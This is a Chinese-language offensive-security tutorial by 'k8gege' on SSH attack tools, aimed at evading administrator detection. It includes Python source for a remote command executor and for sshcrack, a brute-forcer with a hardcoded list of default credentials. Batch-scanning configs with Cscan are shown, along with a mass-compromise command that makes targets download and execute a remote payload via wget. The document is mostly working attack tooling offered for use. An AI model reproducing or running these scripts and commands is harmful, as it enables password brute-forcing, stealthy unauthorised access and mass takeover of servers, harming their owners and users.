0x000 目錄
1.Kali開啟SSH
2.SSH連接工具優缺點
3.滲透專用SSH連接工具
4.ssh執行cmd源碼
5.批量SSH密碼破解
6.SSH批量上控
7.相關工具下載
0x001 SSH配置
1.打開文件 etc/ssh/sshd_config 2.添加permitrootlogin yes 3.將#PasswordAuthentication yes的注釋去掉
0x002 重啟ssh服務
/etc/init.d/ssh restart /etc/init.d/ssh stop (為了安全測試完ssh工具后可將其關閉)

0x003 SSH連接
1.sshshell交互式連接
sshshell.exe 192.168.1.106 22 root toor
sshshell.exe 單文件交互式SSH連接工具(優點類似putty可保持會話,缺點也類似putty保持連接)
以前我沒寫有人說你要是加上保持會話功能比較好,說話的語氣像是這個很難你沒能力實現一樣
搞滲透為了隱蔽才沒讓其保持連接,不是沒能力,你要是正常連接網上工具很多功能還強大的很
不過對我來說很多功能用不到,而且很多工具又大又需要安裝過於麻煩,所以我順手寫了這工具

使用putty或網上其它SSH管理工具連接目標機,管理員均可看到攻擊者一直在連接
有些人連接SSH去操作沒多久,IP被BAN還不知道什么原因
安服的或許無所謂,畢竟都是授權的,直接扛電腦去接入內網搞
真正從事滲透的,你不專業的操作沒被發現,只能說管理員很蠢

2.sshcmd 非交互式SSH連接
滲透專版SSH連接工具GUI版,命令行版為sshcmd.exe非交互
優點都是執行完命令立即注銷會話(即目標機看不到網絡連接)

sshcmd命令行非交互式,python版編譯的很大9M(大家可自行編譯不同PY或依賴版本可能會更小,以前我編譯的才6M)
也可用該工具驗證密碼是否正確,比sshtest要好,畢竟直接可看到是否可執行CMD命令

3.sshtest密碼驗證
sshtest.exe 192.168.1.106 22 root toor
4.K8Cscan批量驗證SSH密碼
此功能可使用Ladon SshScan模塊代替,更簡單易用
0.將Cscan.exe Cscan.ini sshcrack.exe放置同一目錄
Cscan.ini內容如下
1.爆破弱口令(當前無密碼或已獲取多個帳密)
[Cscan] exe=sshcrack.exe arg=$ip$ 22 "" "" -crack
2.驗證一個已知密碼(快速檢測內網其它機器是否使用同一帳密)
[Cscan] exe=sshcrack.exe arg=$ip$ 22 root k8gege -test
3.Cscan掃描單個C段/B段/A段機器
cscan 192.168.1.108 (單個IP) cscan 192.168.1.108/24 (C段) cscan 192.168.1.108/16 (B段) cscan 192.168.1.108/8 (A段)
4.Cscan批量IP/批量C段/批量B段掃描
新建 ip24.txt或ip16.tx或ip.txt 文件,然后輸入Cscan即可(無需其它參數)
以下Cscan.ini不指定端口,因通過K8portscan識別出來非22端口
不指定端口意味着ip.txt里需要填寫上對應SSH端口
需將圖中的sshtest.exe改成sshcrack.exe

0x004 sshcmd源碼
import paramiko
import sys
print("sshcmd 1.0")
print("by k8gege")
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4])
stdin, stdout, stderr = ssh.exec_command(sys.argv[5])
print stdout.read()
ssh.close()
0x005 sshcrack源碼
[原創]內網SSH密碼爆破工具sshcrack(配合Cscan批量弱口令檢測)
https://www.cnblogs.com/k8gege/p/10995625.html
#sshcrack 1.0 #author: k8gege #https://www.cnblogs.com/k8gege #https://github.com/k8gege import paramiko import sys import logging ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) logging.raiseExceptions=False def checkSSH(host,port,user,pwd): try: ssh.connect(host,port,user,pwd) print host+' '+port+' '+user+' '+pwd+' LoginOK' except: pass host=sys.argv[1] port=sys.argv[2] user=sys.argv[3] pwd=sys.argv[4] type=sys.argv[5] if type=='-test': checkSSH(host,port,user,pwd) elif type=='-crack': checkSSH(host,port,'root','123456') checkSSH(host,port,'root','cisco') checkSSH(host,port,'root','Cisco') checkSSH(host,port,'admin','123456') checkSSH(host,port,'cisco','123456') checkSSH(host,port,'cisco','cisco') checkSSH(host,port,'Cisco','Cisco') checkSSH(host,port,'cisco','cisco123') checkSSH(host,port,'admin','admin') checkSSH(host,port,'root','Admin') checkSSH(host,port,'root','toor') checkSSH(host,port,'root','Admin123') checkSSH(host,port,'root','system') checkSSH(host,port,'root','system123') checkSSH(host,port,'root','System') checkSSH(host,port,'root','System123') checkSSH(host,port,'root','Admin123!@#') checkSSH(host,port,'root','root123!@#') checkSSH(host,port,'root','root2019') checkSSH(host,port,'root','root2018') checkSSH(host,port,'root','root2017') checkSSH(host,port,'root','root2016') checkSSH(host,port,'root','root2015') checkSSH(host,port,'root','root2014') checkSSH(host,port,'root','root2013') checkSSH(host,port,'root','root2012') else: checkSSH(host,port,user,pwd)
0x006 Linux批量上控
通過調用sshcmd.exe可實現批量驗證SSH密碼或者批量上控
詳見: [教程]K8Cscan調用外部程序例子(Win/Linux批量上控)
ip.txt內容 格式: IP 端口 用戶 帳密
192.168.1.8 22 root k8123456 192.168.1.100 444 root admin123 10.1.11.5 22 root p@walod 172.3.4.6 22 root test
Cscan.ini內容
[Cscan] exe=sshcmd.exe arg=$ip$ "wget http://k8gege.github.io/poc.out&&./poc.out"
0x007 工具下載
https://github.com/k8gege/sshshell
